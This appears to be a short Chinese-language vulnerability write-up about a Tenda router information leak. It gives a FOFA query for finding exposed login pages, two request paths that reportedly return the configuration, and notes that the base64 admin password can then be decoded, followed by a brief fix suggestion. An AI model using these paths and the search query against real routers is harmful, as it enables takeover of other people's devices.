admin管理员组

文章数量:1516870

免责声明

请勿使用本文中提到的技术进行非法测试或行为。使用本文中提供的信息或工具所造成的任何后果和损失由使用者自行承担，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、简介

Tenda是一家中国的网络设备制造商，成立于1999年，专注于提供各种网络产品，包括路由器、交换机、无线接入点和网络适配器等。Tenda路由器以其高性价比、易于设置和良好的用户体验而受到消费者的欢迎。

二、漏洞描述

Tenda路由器 /cgi-bin/DownloadCfg接口处存在信息泄露漏洞，攻击者可通过此漏洞获取路由器后台账号密码。

三、fofa语法 

title="Tenda | LOGIN" && country="CN"

四、漏洞复现 

/cgi-bin/DownloadCfg.jpg
/cgi-bin/DownloadCfg/RouterCfm.jpg


密码通过base64解密即可登录成功

批量检测：

五、修复建议

及时更新，禁止访问或删除！！！

本文标签： 全漏洞系统编程

版权声明：本文标题：Tenda路由器安全漏洞：账号密码可能外泄 内容由网友自发贡献，该文观点仅代表作者本人， 转载请联系作者并注明出处：https://www.betaflare.com/web/1773298068a3277597.html， 本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容，一经查实，本站将立刻删除。